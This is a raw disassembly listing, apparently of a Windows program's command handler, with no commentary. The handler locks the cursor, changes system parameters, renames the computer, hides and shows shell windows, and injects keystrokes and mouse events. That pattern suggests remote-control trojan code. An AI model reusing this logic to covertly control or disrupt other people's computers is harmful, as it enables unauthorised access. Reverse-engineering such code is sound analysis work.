lea eax, [ebp - 0x3c8]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x9b0
mov edx, 0x48d1a5
lea eax, [ebp - 0x3cc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3cc]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
xor ecx, ecx
mov edx, dword [0x49a448]
mov dword [ebp - 0xc44], ecx
xor eax, eax
mov dword [ebp - 0xc40], eax
mov eax, dword [edx]
call fcn.0043f2a4
mov dword [ebp - 0xc3c], eax
mov edx, dword [0x49a448]
mov eax, dword [edx]
call fcn.0043f298
mov dword [ebp - 0xc38], eax
lea edx, [ebp - 0xc44]
push edx
call sub.USER32.DLL_ClipCursor
test eax, eax
je 0x418a34
mov word [ebp - 0x4b8], 0x9bc
mov edx, 0x48d1b3
lea eax, [ebp - 0x3d0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3d0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x9c8
mov edx, 0x48d1c1
lea eax, [ebp - 0x3d4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3d4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x9d4
xor ecx, ecx
mov dl, 1
mov dword [ebp - 0x3d8], ecx
mov eax, dword [0x428428]
inc dword [ebp - 0x4ac]
mov word [ebp - 0x4b8], 0x9e0
call fcn.00428568
mov dword [ebp - 0x510], eax
xor ecx, ecx
mov word [ebp - 0x4b8], 0x9ec
mov dword [ebp - 0x3dc], ecx
mov eax, esi
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x3dc]
mov edi, dword [eax]
mov edx, 1
call dword [edi + 0xc]
lea eax, [ebp - 0x3dc]
push eax
mov edx, str.y10r
lea eax, [ebp - 0x3e0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x3e0]
pop eax
call fcn.00474e28
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3e0]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3dc]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x418b83
mov word [ebp - 0x4b8], 0x9f8
mov edx, 0x48d1d1
lea eax, [ebp - 0x3e4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x3e4]
lea eax, [ebp - 0x3d8]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3e4]
mov edx, 2
call fcn.00474d44
jmp 0x418bc9
mov word [ebp - 0x4b8], 0xa04
mov edx, 0x48d1d3
lea eax, [ebp - 0x3e8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x3e8]
lea eax, [ebp - 0x3d8]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3e8]
mov edx, 2
call fcn.00474d44
mov edx, 0x80000003
mov eax, dword [ebp - 0x510]
call fcn.00474b40
mov word [ebp - 0x4b8], 0xa10
mov edx, 0x48d1d5
lea eax, [ebp - 0x3ec]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x510]
call fcn.0042875c
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3ec]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x418d7e
mov word [ebp - 0x4b8], 0xa1c
mov edx, 0x48d1f5
lea eax, [ebp - 0x3f0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3d8]
mov eax, dword [ebp - 0x510]
call fcn.00428ad8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3f0]
mov edx, 2
call fcn.00474d44
mov eax, dword [ebp - 0x510]
call fcn.004285d0
push 2
xor edx, edx
mov word [ebp - 0x4b8], 0xa28
mov dword [ebp - 0x3f4], edx
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x3f4]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x3f4]
test eax, eax
je 0x418cb4
mov edx, dword [ebp - 0x3f4]
jmp 0x418cb9
mov edx, 0x48d203
push edx
push 0
push 0x14
call sub.USER32.DLL_SystemParametersInfoA
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3f4]
mov edx, 2
call fcn.00474d44
pop eax
test eax, eax
je 0x418d30
mov word [ebp - 0x4b8], 0xa34
mov edx, 0x48d204
lea eax, [ebp - 0x3f8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3f8]
mov edx, 2
call fcn.00474d44
jmp 0x418dca
mov word [ebp - 0x4b8], 0xa40
mov edx, 0x48d212
lea eax, [ebp - 0x3fc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3fc]
mov edx, 2
call fcn.00474d44
jmp 0x418dca
mov word [ebp - 0x4b8], 0xa4c
mov edx, 0x48d220
lea eax, [ebp - 0x400]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x400]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3d8]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0xa58
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x404], ecx
lea ecx, [ebp - 0x404]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x404]
test eax, eax
je 0x418e26
mov edx, dword [ebp - 0x404]
jmp 0x418e2b
mov edx, 0x48d237
push edx
call sub.KERNEL32.DLL_SetComputerNameA
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x404]
mov edx, 2
call fcn.00474d44
pop eax
test eax, eax
je 0x418e9e
mov word [ebp - 0x4b8], 0xa64
mov edx, 0x48d238
lea eax, [ebp - 0x408]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x408]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xa70
mov edx, 0x48d24a
lea eax, [ebp - 0x40c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x40c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
push 0
push 0x48d25c
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x514], eax
push 0
mov ecx, dword [ebp - 0x514]
push ecx
call sub.USER32.DLL_ShowWindow
test eax, eax
je 0x418f64
mov word [ebp - 0x4b8], 0xa7c
mov edx, 0x48d264
lea eax, [ebp - 0x410]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x410]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xa88
mov edx, 0x48d272
lea eax, [ebp - 0x414]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x414]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
push 0
push str.Progman
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x518], eax
push 5
mov ecx, dword [ebp - 0x518]
push ecx
call sub.USER32.DLL_ShowWindow
test eax, eax
je 0x41902a
mov word [ebp - 0x4b8], 0xa94
mov edx, 0x48d288
lea eax, [ebp - 0x418]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x418]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xaa0
mov edx, 0x48d296
lea eax, [ebp - 0x41c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x41c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
xor ecx, ecx
mov dword [ebp - 0x51c], ecx
mov word [ebp - 0x4b8], 8
push 0
lea eax, [ebp - 0x51c]
push eax
push 1
push 0x61
call sub.USER32.DLL_SystemParametersInfoA
test eax, eax
je 0x4190f3
mov word [ebp - 0x4b8], 0xaac
mov edx, 0x48d2a4
lea eax, [ebp - 0x420]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x420]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xab8
mov edx, 0x48d2b6
lea eax, [ebp - 0x424]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x424]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
xor ecx, ecx
mov dword [ebp - 0x520], ecx
mov word [ebp - 0x4b8], 8
push 0
lea eax, [ebp - 0x520]
push eax
push 0
push 0x61
call sub.USER32.DLL_SystemParametersInfoA
test eax, eax
je 0x4191bc
mov word [ebp - 0x4b8], 0xac4
mov edx, 0x48d2c8
lea eax, [ebp - 0x428]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x428]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xad0
mov edx, 0x48d2da
lea eax, [ebp - 0x42c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x42c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
mov al, byte [0x48a754]
push ecx
push 0
push eax
call fcn.0040e3e0
add esp, 0xc
test al, al
je 0x419279
mov word [ebp - 0x4b8], 0xadc
mov edx, 0x48d2ec
lea eax, [ebp - 0x430]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x430]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xae8
mov edx, 0x48d2fc
lea eax, [ebp - 0x434]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x434]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
mov al, byte [0x48a754]
push ecx
push 1
push eax
call fcn.0040e3e0
add esp, 0xc
test al, al
je 0x419336
mov word [ebp - 0x4b8], 0xaf4
mov edx, 0x48d30e
lea eax, [ebp - 0x438]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x438]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xb00
mov edx, 0x48d31e
lea eax, [ebp - 0x43c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x43c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov edx, dword [ebp - 0x4d4]
mov eax, dword [ebp - 0x4cc]
call fcn.00412f18
mov word [ebp - 0x4b8], 0xb0c
mov edx, 0x48d330
lea eax, [ebp - 0x440]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x440]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xb18
xor ecx, ecx
mov dword [ebp - 0x444], ecx
inc dword [ebp - 0x4ac]
mov word [ebp - 0x4b8], 0xb24
xor eax, eax
mov dword [ebp - 0x524], eax
jmp 0x4194d6
mov word [ebp - 0x4b8], 0xb30
xor edx, edx
mov eax, esi
mov dword [ebp - 0x448], edx
lea ecx, [ebp - 0x448]
inc dword [ebp - 0x4ac]
mov edi, dword [eax]
mov edx, dword [ebp - 0x524]
call dword [edi + 0xc]
lea eax, [ebp - 0x448]
push eax
mov edx, 0x48d336
lea eax, [ebp - 0x44c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor ecx, ecx
mov dword [ebp - 0x450], ecx
lea ecx, [ebp - 0x450]
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x44c]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x450]
lea eax, [ebp - 0x444]
call fcn.00474d88
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x450]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x44c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x448]
mov edx, 2
call fcn.00474d44
inc dword [ebp - 0x524]
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
mov ecx, dword [ebp - 0x524]
cmp eax, ecx
jg 0x419416
mov word [ebp - 0x4b8], 0xb3c
mov edx, 0x48d338
lea eax, [ebp - 0x454]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x454]
mov edx, 2
call fcn.00474d44
mov edx, dword [ebp - 0x444]
mov eax, dword [ebp - 0x4cc]
call fcn.004131f4
test al, al
je 0x4195a7
mov word [ebp - 0x4b8], 0xb48
mov edx, 0x48d34f
lea eax, [ebp - 0x458]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x458]
mov edx, 2
call fcn.00474d44
mov ecx, dword [0x49a444]
mov eax, dword [ecx]
call fcn.004413bc
jmp 0x4195f3
mov word [ebp - 0x4b8], 0xb54
mov edx, 0x48d378
lea eax, [ebp - 0x45c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x45c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x444]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
push 0
push 0
push 0
push 0x12
call sub.USER32.DLL_MapVirtualKeyA
push eax
xor ecx, ecx
mov word [ebp - 0x4b8], 0xb60
mov dword [ebp - 0x460], ecx
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x460]
call dword [edi + 0xc]
lea eax, [ebp - 0x460]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
push eax
call sub.USER32.DLL_keybd_event
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x460]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
push 0
push 2
push 0
xor ecx, ecx
mov word [ebp - 0x4b8], 0xb6c
mov dword [ebp - 0x464], ecx
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x464]
call dword [edi + 0xc]
lea eax, [ebp - 0x464]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
push eax
call sub.USER32.DLL_MapVirtualKeyA
push eax
xor ecx, ecx
mov dword [ebp - 0x468], ecx
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x468]
call dword [edi + 0xc]
lea eax, [ebp - 0x468]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
push eax
call sub.USER32.DLL_keybd_event
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x468]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x464]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xb78
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x46c], ecx
lea ecx, [ebp - 0x46c]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x46c]
xor ecx, ecx
mov edx, dword [eax]
mov eax, esi
push edx
mov dword [ebp - 0x470], ecx
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x470]
call dword [edi + 0xc]
lea eax, [ebp - 0x470]
mov edx, dword [eax]
push edx
call fcn.004135a8
add esp, 8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x470]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x46c]
mov edx, 2
call fcn.00474d44
call sub.USER32.DLL_GetMessageExtraInfo
push eax
push 0
push 0
push 0
push 2
call sub.USER32.DLL_mouse_event
jmp 0x419a93
mov word [ebp - 0x4b8], 0xb84
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x474], ecx
lea ecx, [ebp - 0x474]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x474]
xor ecx, ecx
mov edx, dword [eax]
mov eax, esi
push edx
mov dword [ebp - 0x478], ecx
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x478]
call dword [edi + 0xc]
lea eax, [ebp - 0x478]
mov edx, dword [eax]
push edx
call fcn.004135a8
add esp, 8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x478]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x474]
mov edx, 2
call fcn.00474d44
call sub.USER32.DLL_GetMessageExtraInfo
push eax
push 0
push 0
push 0
push 0x8008
call sub.USER32.DLL_mouse_event
jmp 0x419a93
mov word [ebp - 0x4b8], 0xb90
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x47c], ecx
lea ecx, [ebp - 0x47c]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x47c]
xor ecx, ecx
mov edx, dword [eax]
mov eax, esi
push edx
mov dword [ebp - 0x480], ecx
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x480]
call dword [edi + 0xc]
lea eax, [ebp - 0x480]
mov edx, dword [eax]
push edx
call fcn.004135a8
add esp, 8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x480]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x47c]
mov edx, 2
call fcn.00474d44
call sub.USER32.DLL_GetMessageExtraInfo
push eax
push 0
push 0
push 0
push 0x8004
call sub.USER32.DLL_mouse_event
jmp 0x419a93
mov word [ebp - 0x4b8], 0xb9c
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x484], ecx
lea ecx, [ebp - 0x484]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x484]
xor ecx, ecx
mov edx, dword [eax]
mov eax, esi
push edx
mov dword [ebp - 0x488], ecx
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x488]
call dword [edi + 0xc]
lea eax, [ebp - 0x488]
mov edx, dword [eax]
push edx
call fcn.004135a8
add esp, 8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x488]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x484]
mov edx, 2
call fcn.00474d44
call sub.USER32.DLL_GetMessageExtraInfo
push eax
push 0
push 0
push 0
push 0x8010
call sub.USER32.DLL_mouse_event
jmp 0x419a93
mov word [ebp - 0x4b8], 0xba8
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x48c], ecx
lea ecx, [ebp - 0x48c]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x48c]
xor ecx, ecx
mov edx, dword [eax]
mov eax, esi
push edx
mov dword [ebp - 0x490], ecx
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x490]
call dword [edi + 0xc]
lea eax, [ebp - 0x490]
mov edx, dword [eax]
push edx
call fcn.004135a8
add esp, 8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x490]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x48c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0xbb4
mov edx, 0x48d38c
lea eax, [ebp - 0x494]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x494]
mov edx, 2
call fcn.00474d44
mov eax, dword [ebx + 0x28]
call fcn.00458b80
test eax, eax
jne 0x419aad
mov edx, dword [ebx + 0x28]
mov eax, dword [ebp - 0x4d4]
mov ecx, dword [eax]
call dword [ecx + 0x68]
mov eax, ebx
call fcn.0045bc34
mov dword [ebp - 0x49c], esi
mov edx, dword [ebp - 0x49c]
test edx, edx
je 0x419af4
mov ecx, dword [ebp - 0x49c]
mov eax, dword [ecx]
mov dword [ebp - 0x498], eax
mov word [ebp - 0x4b8], 0xbcc
mov edx, 3
mov eax, dword [ebp - 0x49c]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x4b8], 0xbc0
mov edx, dword [ebp - 0x4d4]
mov dword [ebp - 0x4a4], edx
mov eax, dword [ebp - 0x4a4]
test eax, eax
je 0x419b3a
mov edx, dword [ebp - 0x4a4]
mov ecx, dword [edx]
mov dword [ebp - 0x4a0], ecx
mov word [ebp - 0x4b8], 0xbe4
mov edx, 3
mov eax, dword [ebp - 0x4a4]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x4b8], 0xbd8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x4c8]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret